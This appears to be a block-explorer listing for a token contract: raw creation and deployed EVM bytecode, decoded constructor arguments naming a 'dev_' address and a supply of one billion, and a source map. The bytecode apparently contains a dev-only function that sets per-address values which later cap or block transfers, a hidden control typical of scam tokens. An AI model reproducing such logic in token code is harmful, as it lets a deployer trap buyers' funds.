b0565b91505092915050565b6000806040838503121561164057600080fd5b600061164e858286016115b0565b925050602061165f858286016115b0565b9150509250929050565b60008060006060848603121561167e57600080fd5b600061168c868287016115b0565b935050602061169d868287016115b0565b92505060406116ae868287016115ef565b9150509250925092565b600080604083850312156116cb57600080fd5b60006116d9858286016115b0565b92505060206116ea858286016115ef565b9150509250929050565b6000806040838503121561170757600080fd5b600083013567ffffffffffffffff81111561172157600080fd5b61172d858286016115c5565b925050602061173e858286016115ef565b9150509250929050565b61175181611b06565b82525050565b61176861176382611b06565b611c3a565b82525050565b61177781611b18565b82525050565b600061178882611a60565b6117928185611a6b565b93506117a2818560208601611b5b565b6117ab81611ceb565b840191505092915050565b60006117c3602683611a6b565b91506117ce82611d09565b604082019050919050565b60006117e6600f83611a6b565b91506117f182611d58565b602082019050919050565b6000611809600e83611a6b565b915061181482611d81565b602082019050919050565b600061182c601c83611a6b565b915061183782611daa565b602082019050919050565b600061184f602083611a6b565b915061185a82611dd3565b602082019050919050565b6000611872602583611a6b565b915061187d82611dfc565b604082019050919050565b61189181611b44565b82525050565b6118a081611b4e565b82525050565b60006118b28284611757565b60148201915081905092915050565b60006020820190506118d66000830184611748565b92915050565b60006020820190506118f1600083018461176e565b92915050565b60006020820190508181036000830152611911818461177d565b905092915050565b60006020820190508181036000830152611932816117b6565b9050919050565b60006020820190508181036000830152611952816117d9565b9050919050565b60006020820190508181036000830152611972816117fc565b9050919050565b600060208201905081810360008301526119928161181f565b9050919050565b600060208201905081810360008301526119b281611842565b9050919050565b600060208201905081810360008301526119d281611865565b9050919050565b60006020820190506119ee6000830184611888565b92915050565b6000602082019050611a096000830184611897565b92915050565b6000611a19611a2a565b9050611a258282611bc0565b919050565b6000604051905090565b600067ffffffffffffffff821115611a4f57611a4e611cbc565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611a8782611b44565b9150611a9283611b44565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ac757611ac6611c5e565b5b828201905092915050565b6000611add82611b44565b9150611ae883611b44565b925082821015611afb57611afa611c5e565b5b828203905092915050565b6000611b1182611b24565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611b79578082015181840152602081019050611b5e565b83811115611b88576000848401525b50505050565b60006002820490506001821680611ba657607f821691505b60208210811415611bba57611bb9611c8d565b5b50919050565b611bc982611ceb565b810181811067ffffffffffffffff82111715611be857611be7611cbc565b5b80604052505050565b6000611bfc82611b44565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611c2f57611c2e611c5e565b5b600182019050919050565b6000611c4582611c4c565b9050919050565b6000611c5782611cfc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b7f496e76616c696420616d6f756e74000000000000000000000000000000000000600082015250565b7f45524332303a2063726f737320616d6f756e742069732077726f6e6700000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b611e5481611b06565b8114611e5f57600080fd5b50565b611e6b81611b44565b8114611e7657600080fd5b5056fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122083b0ed9e281e93de6889f9a1bd8b8253cdbd4b81da674135bb17d71fd4b73e5464736f6c634300080400330000000000000000000000003377af6f20a11b10fe405b69a9edb31382958980000000000000000000000000000000000000000000000000000000003b9aca00
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a082311161009757806395d89b411161006657806395d89b4114610288578063a9059cbb146102a6578063ae6b8c3f146102d6578063dd62ed3e146102f2576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806390ec57f114610258576100f5565b806323b872dd116100d357806323b872dd146101665780632bd69e8914610196578063313ce567146101c657806339509351146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906118f7565b60405180910390f35b610132600480360381019061012d91906116b8565b6103b4565b60405161013f91906118dc565b60405180910390f35b6101506103d2565b60405161015d91906119d9565b60405180910390f35b610180600480360381019061017b9190611669565b6103dc565b60405161018d91906118dc565b60405180910390f35b6101b060048036038101906101ab9190611604565b6104b5565b6040516101bd91906119d9565b60405180910390f35b6101ce6104fe565b6040516101db91906119f4565b60405180910390f35b6101fe60048036038101906101f991906116b8565b610515565b005b61021a60048036038101906102159190611604565b6106db565b60405161022791906119d9565b60405180910390f35b610238610724565b005b6102426107ac565b60405161024f91906118c1565b60405180910390f35b610272600480360381019061026d91906116b8565b6107d5565b60405161027f91906118dc565b60405180910390f35b61029061083f565b60405161029d91906118f7565b60405180910390f35b6102c060048036038101906102bb91906116b8565b6108d1565b6040516102cd91906118dc565b60405180910390f35b6102f060048036038101906102eb91906116f4565b6108ef565b005b61030c6004803603810190610307919061162d565b6109f4565b60405161031991906119d9565b60405180910390f35b60606006805461033190611b8e565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611b8e565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610a91565b8484610a99565b6001905092915050565b6000600954905090565b60006103e9848484610c2d565b6104aa846103f5610a91565b6104a585604051806060016040528060298152602001611ea160299139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045b610a91565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e939092919063ffffffff16565b610a99565b600190509392505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600860009054906101000a900460ff16905090565b6000339050600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561058a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058190611939565b60405180910390fd5b600082116105cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c490611959565b60405180910390fd5b60006105fe84600560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ee8565b156106745761060d8282610f4c565b6106178184610fde565b905080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106689190611a7c565b925050819055506106d5565b61067e8282610f4c565b80600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106cd9190611a7c565b925050819055505b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61072c610a91565b73ffffffffffffffffffffffffffffffffffffffff1661074a6107ac565b73ffffffffffffffffffffffffffffffffffffffff16146107a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079790611999565b60405180910390fd5b6107aa6000611004565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000803390506107e68185856110c8565b600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160149054906101000a900460ff1691505092915050565b60606007805461084e90611b8e565b80601f016020809104026020016040519081016040528092919081815260200182805461087a90611b8e565b80156108c75780601f1061089c576101008083540402835291602001916108c7565b820191906000526020600020905b8154815290600101906020018083116108aa57829003601f168201915b5050505050905090565b60006108e56108de610a91565b8484610c2d565b6001905092915050565b600560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461094c57600080fd5b60005b82518110156109ef578160046000858481518110610996577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806109e790611bf1565b91505061094f565b505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183610a899190611a7c565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610b035750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b39906119b9565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c2091906119d9565b60405180910390a3505050565b610c3883838361133c565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610ca25750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610ce1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd890611919565b60405180910390fd5b610cec83838361153f565b610d5881604051806060016040528060278152602001611e7a60279139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e939092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610de69190611a7c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e8691906119d9565b60405180910390a3505050565b6000838311158290610edb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed291906118f7565b60405180910390fd5b5082840390509392505050565b60008083604051602001610efc91906118a6565b604051602081830303815290604052805190602001209050600083604051602001610f2791906118a6565b6040516020818303038152906040528051906020012090508082149250505092915050565b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f979190611ad2565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808214610ffa578183610ff39190611a7c565b9050610ffe565b8190505b92915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6110f783600560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ee8565b1561133757600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561116c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116390611939565b60405180910390fd5b6000811415600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160146101000a81548160ff021916908315150217905550600081146112585781600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112db565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160146101000a81548160ff0219169083151502179055505b505050565b600080611348856104b5565b9050600081111561139657808211611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90611979565b60405180910390fd5b5b61140285600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ee8565b156114a95781600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114529190611a7c565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060095491506114a48583610f4c565b611538565b81600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114f49190611a7c565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050505050565b505050565b600061155761155284611a34565b611a0f565b9050808382526020820190508285602086028201111561157657600080fd5b60005b858110156115a6578161158c88826115b0565b845260208401935060208301925050600181019050611579565b5050509392505050565b6000813590506115bf81611e4b565b92915050565b600082601f8301126115d657600080fd5b81356115e6848260208601611544565b91505092915050565b6000813590506115fe81611e62565b92915050565b60006020828403121561161657600080fd5b6000611624848285016115b0565b91505092915050565b6000806040838503121561164057600080fd5b600061164e858286016115b0565b925050602061165f858286016115b0565b9150509250929050565b60008060006060848603121561167e57600080fd5b600061168c868287016115b0565b935050602061169d868287016115b0565b92505060406116ae868287016115ef565b9150509250925092565b600080604083850312156116cb57600080fd5b60006116d9858286016115b0565b92505060206116ea858286016115ef565b9150509250929050565b6000806040838503121561170757600080fd5b600083013567ffffffffffffffff81111561172157600080fd5b61172d858286016115c5565b925050602061173e858286016115ef565b9150509250929050565b61175181611b06565b82525050565b61176861176382611b06565b611c3a565b82525050565b61177781611b18565b82525050565b600061178882611a60565b6117928185611a6b565b93506117a2818560208601611b5b565b6117ab81611ceb565b840191505092915050565b60006117c3602683611a6b565b91506117ce82611d09565b604082019050919050565b60006117e6600f83611a6b565b91506117f182611d58565b602082019050919050565b6000611809600e83611a6b565b915061181482611d81565b602082019050919050565b600061182c601c83611a6b565b915061183782611daa565b602082019050919050565b600061184f602083611a6b565b915061185a82611dd3565b602082019050919050565b6000611872602583611a6b565b915061187d82611dfc565b604082019050919050565b61189181611b44565b82525050565b6118a081611b4e565b82525050565b60006118b28284611757565b60148201915081905092915050565b60006020820190506118d66000830184611748565b92915050565b60006020820190506118f1600083018461176e565b92915050565b60006020820190508181036000830152611911818461177d565b905092915050565b60006020820190508181036000830152611932816117b6565b9050919050565b60006020820190508181036000830152611952816117d9565b9050919050565b60006020820190508181036000830152611972816117fc565b9050919050565b600060208201905081810360008301526119928161181f565b9050919050565b600060208201905081810360008301526119b281611842565b9050919050565b600060208201905081810360008301526119d281611865565b9050919050565b60006020820190506119ee6000830184611888565b92915050565b6000602082019050611a096000830184611897565b92915050565b6000611a19611a2a565b9050611a258282611bc0565b919050565b6000604051905090565b600067ffffffffffffffff821115611a4f57611a4e611cbc565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611a8782611b44565b9150611a9283611b44565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ac757611ac6611c5e565b5b828201905092915050565b6000611add82611b44565b9150611ae883611b44565b925082821015611afb57611afa611c5e565b5b828203905092915050565b6000611b1182611b24565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611b79578082015181840152602081019050611b5e565b83811115611b88576000848401525b50505050565b60006002820490506001821680611ba657607f821691505b60208210811415611bba57611bb9611c8d565b5b50919050565b611bc982611ceb565b810181811067ffffffffffffffff82111715611be857611be7611cbc565b5b80604052505050565b6000611bfc82611b44565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611c2f57611c2e611c5e565b5b600182019050919050565b6000611c4582611c4c565b9050919050565b6000611c5782611cfc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b7f496e76616c696420616d6f756e74000000000000000000000000000000000000600082015250565b7f45524332303a2063726f737320616d6f756e742069732077726f6e6700000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b611e5481611b06565b8114611e5f57600080fd5b50565b611e6b81611b44565b8114611e7657600080fd5b5056fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122083b0ed9e281e93de6889f9a1bd8b8253cdbd4b81da674135bb17d71fd4b73e5464736f6c63430008040033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000003377af6f20a11b10fe405b69a9edb31382958980000000000000000000000000000000000000000000000000000000003b9aca00
-----Decoded View---------------
Arg [0] : dev_ (address): 0x3377Af6f20A11b10fE405b69A9EdB31382958980
Arg [1] : totalSupply_ (uint256): 1000000000
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000003377af6f20a11b10fe405b69a9edb31382958980
Arg [1] : 000000000000000000000000000000000000000000000000000000003b9aca00
Deployed Bytecode Sourcemap
13033:7064:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14109:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15054:190;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14395:101;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15252:443;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19290:114;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14303:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17463:509;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14504:153;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12572:94;;;:::i;:::-;;11921:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18404:203;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14205:90;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14665:197;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18619:209;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14870:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14109:88;14154:13;14187:2;14180:9;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14109:88;:::o;15054:190::-;15157:4;15179:35;15184:12;:10;:12::i;:::-;15198:7;15207:6;15179:4;:35::i;:::-;15232:4;15225:11;;15054:190;;;;:::o;14395:101::-;14456:7;14483:5;;14476:12;;14395:101;:::o;15252:443::-;15392:4;15409:33;15416:6;15424:9;15435:6;15409;:33::i;:::-;15453:212;15472:6;15493:12;:10;:12::i;:::-;15520:134;15571:6;15520:134;;;;;;;;;;;;;;;;;:6;:14;15527:6;15520:14;;;;;;;;;;;;;;;:28;15535:12;:10;:12::i;:::-;15520:28;;;;;;;;;;;;;;;;:32;;:134;;;;;:::i;:::-;15453:4;:212::i;:::-;15683:4;15676:11;;15252:443;;;;;:::o;19290:114::-;19345:7;19372:15;:24;19388:7;19372:24;;;;;;;;;;;;;;;;19365:31;;19290:114;;;:::o;14303:84::-;14352:5;14377:2;;;;;;;;;;;14370:9;;14303:84;:::o;17463:509::-;17549:12;17564:10;17549:25;;17612:1;17593:21;;:7;:21;;;;17585:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;17662:1;17653:6;:10;17645:37;;;;;;;;;;;;:::i;:::-;;;;;;;;;17693:13;17725:26;17731:7;17740:4;:10;;;;;;;;;;;;17725:5;:26::i;:::-;17721:244;;;17768:17;17773:4;17779:5;17768:4;:17::i;:::-;17808:19;17813:5;17820:6;17808:4;:19::i;:::-;17800:27;;17860:5;17842;:14;17848:7;17842:14;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;17721:244;;;17898:17;17903:4;17909:5;17898:4;:17::i;:::-;17948:5;17930;:14;17936:7;17930:14;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;17721:244;17463:509;;;;:::o;14504:153::-;14603:7;14635:5;:14;14641:7;14635:14;;;;;;;;;;;;;;;;14628:21;;14504:153;;;:::o;12572:94::-;12152:12;:10;:12::i;:::-;12141:23;;:7;:5;:7::i;:::-;:23;;;12133:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12637:21:::1;12655:1;12637:9;:21::i;:::-;12572:94::o:0;11921:87::-;11967:7;11994:6;;;;;;;;;;;11987:13;;11921:87;:::o;18404:203::-;18467:4;18485:12;18500:10;18485:25;;18521:29;18531:4;18537;18543:6;18521:9;:29::i;:::-;18568:4;:10;18573:4;18568:10;;;;;;;;;;;;;;;:21;;;;;;;;;;;;18561:28;;;18404:203;;;;:::o;14205:90::-;14252:13;14285:2;14278:9;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14205:90;:::o;14665:197::-;14771:4;14793:39;14800:12;:10;:12::i;:::-;14814:9;14825:6;14793;:39::i;:::-;14850:4;14843:11;;14665:197;;;;:::o;18619:209::-;13972:4;:10;;;;;;;;;;;;13958:24;;:10;:24;;;13950:33;;;;;;18716:9:::1;18711:110;18735:8;:15;18731:1;:19;18711:110;;;18803:6;18772:15;:28;18788:8;18797:1;18788:11;;;;;;;;;;;;;;;;;;;;;;18772:28;;;;;;;;;;;;;;;:37;;;;18752:3;;;;;:::i;:::-;;;;18711:110;;;;18619:209:::0;;:::o;14870:176::-;14984:7;15016:6;:13;15023:5;15016:13;;;;;;;;;;;;;;;:22;15030:7;15016:22;;;;;;;;;;;;;;;;15009:29;;14870:176;;;;:::o;6717:98::-;6775:7;6806:1;6802;:5;;;;:::i;:::-;6795:12;;6717:98;;;;:::o;898:::-;951:7;978:10;971:17;;898:98;:::o;17137:318::-;17286:1;17269:19;;:5;:19;;;;:44;;;;;17311:1;17292:21;;:7;:21;;;;17269:44;17261:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;17393:6;17368;:13;17375:5;17368:13;;;;;;;;;;;;;;;:22;17382:7;17368:22;;;;;;;;;;;;;;;:31;;;;17431:7;17415:32;;17424:5;17415:32;;;17440:6;17415:32;;;;;;:::i;:::-;;;;;;;;17137:318;;;:::o;15703:572::-;15832:35;15841:6;15849:9;15860:6;15832:8;:35::i;:::-;15904:1;15886:20;;:6;:20;;;;:47;;;;;15931:1;15910:23;;:9;:23;;;;15886:47;15878:99;;;;;;;;;;;;:::i;:::-;;;;;;;;;15990:39;16003:6;16011:9;16022:6;15990:12;:39::i;:::-;16056:105;16088:6;16056:105;;;;;;;;;;;;;;;;;:5;:13;16062:6;16056:13;;;;;;;;;;;;;;;;:17;;:105;;;;;:::i;:::-;16040:5;:13;16046:6;16040:13;;;;;;;;;;;;;;;:121;;;;16210:6;16191:5;:16;16197:9;16191:16;;;;;;;;;;;;;;;;:25;;;;:::i;:::-;16172:5;:16;16178:9;16172:16;;;;;;;;;;;;;;;:44;;;;16249:9;16232:35;;16241:6;16232:35;;;16260:6;16232:35;;;;;;:::i;:::-;;;;;;;;15703:572;;;:::o;8996:224::-;9116:7;9166:1;9161;:6;;9169:12;9153:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;9204:1;9200;:5;9193:12;;8996:224;;;;;:::o;17980:234::-;18047:4;18064:13;18107:4;18090:22;;;;;;;;:::i;:::-;;;;;;;;;;;;;18080:33;;;;;;18064:49;;18124:13;18167:5;18150:23;;;;;;;;:::i;:::-;;;;;;;;;;;;;18140:34;;;;;;18124:50;;18201:5;18192;:14;18185:21;;;;17980:234;;;;:::o;17023:106::-;17115:6;17101:5;:11;17107:4;17101:11;;;;;;;;;;;;;;;;:20;;;;:::i;:::-;17087:5;:11;17093:4;17087:11;;;;;;;;;;;;;;;:34;;;;17023:106;;:::o;18222:174::-;18287:7;18319:1;18311:4;:9;18307:60;;18351:4;18344;:11;;;;:::i;:::-;18337:18;;;;18307:60;18384:4;18377:11;;18222:174;;;;;:::o;12674:173::-;12730:16;12749:6;;;;;;;;;;;12730:25;;12775:8;12766:6;;:17;;;;;;;;;;;;;;;;;;12830:8;12799:40;;12820:8;12799:40;;;;;;;;;;;;12674:173;;:::o;18836:446::-;18923:23;18929:4;18935;:10;;;;;;;;;;;;18923:5;:23::i;:::-;18919:356;;;18987:1;18971:18;;:4;:18;;;;18963:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;19058:1;19048:6;:11;;19024:4;:10;19029:4;19024:10;;;;;;;;;;;;;;;:21;;;:35;;;;;;;;;;;;;;;;;;19088:1;19078:6;:11;19074:147;;19129:4;19110;:10;19115:4;19110:10;;;;;;;;;;;;;;;:16;;;:23;;;;;;;;;;;;;;;;;;19074:147;;;19201:1;19174:4;:10;19179:4;19174:10;;;;;;;;;;;;;;;:16;;;:29;;;;;;;;;;;;;;;;;;19074:147;19259:4;19235;:10;19240:4;19235:10;;;;;;;;;;;;;;;:21;;;:28;;;;;;;;;;;;;;;;;;18919:356;18836:446;;;:::o;19414:555::-;19535:14;19564:21;19588:13;19596:4;19588:7;:13::i;:::-;19564:37;;19632:1;19616:13;:17;19612:113;;;19667:13;19658:6;:22;19650:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;19612:113;19739:29;19745:4;19751;:10;19756:4;19751:10;;;;;;;;;;;;;;;:16;;;;;;;;;;;;19739:5;:29::i;:::-;19735:225;;;19813:6;19799:5;:11;19805:4;19799:11;;;;;;;;;;;;;;;;:20;;;;:::i;:::-;19785:5;:11;19791:4;19785:11;;;;;;;;;;;;;;;:34;;;;19843:5;;19834:14;;19863:18;19868:4;19874:6;19863:4;:18::i;:::-;19735:225;;;19942:6;19928:5;:11;19934:4;19928:11;;;;;;;;;;;;;;;;:20;;;;:::i;:::-;19914:5;:11;19920:4;19914:11;;;;;;;;;;;;;;;:34;;;;19735:225;19414:555;;;;;:::o;19977:117::-;;;;:::o;24:655:1:-;120:5;145:81;161:64;218:6;161:64;:::i;:::-;145:81;:::i;:::-;136:90;;246:5;275:6;268:5;261:21;309:4;302:5;298:16;291:23;;335:6;385:3;377:4;369:6;365:17;360:3;356:27;353:36;350:2;;;414:1;411;404:12;350:2;450:1;435:238;460:6;457:1;454:13;435:238;;;528:3;557:37;590:3;578:10;557:37;:::i;:::-;552:3;545:50;624:4;619:3;615:14;608:21;;658:4;653:3;649:14;642:21;;495:178;482:1;479;475:9;470:14;;435:238;;;439:14;126:553;;;;;;;:::o;685:139::-;731:5;769:6;756:20;747:29;;785:33;812:5;785:33;:::i;:::-;737:87;;;;:::o;847:303::-;918:5;967:3;960:4;952:6;948:17;944:27;934:2;;985:1;982;975:12;934:2;1025:6;1012:20;1050:94;1140:3;1132:6;1125:4;1117:6;1113:17;1050:94;:::i;:::-;1041:103;;924:226;;;;;:::o;1156:139::-;1202:5;1240:6;1227:20;1218:29;;1256:33;1283:5;1256:33;:::i;:::-;1208:87;;;;:::o;1301:262::-;1360:6;1409:2;1397:9;1388:7;1384:23;1380:32;1377:2;;;1425:1;1422;1415:12;1377:2;1468:1;1493:53;1538:7;1529:6;1518:9;1514:22;1493:53;:::i;:::-;1483:63;;1439:117;1367:196;;;;:::o;1569:407::-;1637:6;1645;1694:2;1682:9;1673:7;1669:23;1665:32;1662:2;;;1710:1;1707;1700:12;1662:2;1753:1;1778:53;1823:7;1814:6;1803:9;1799:22;1778:53;:::i;:::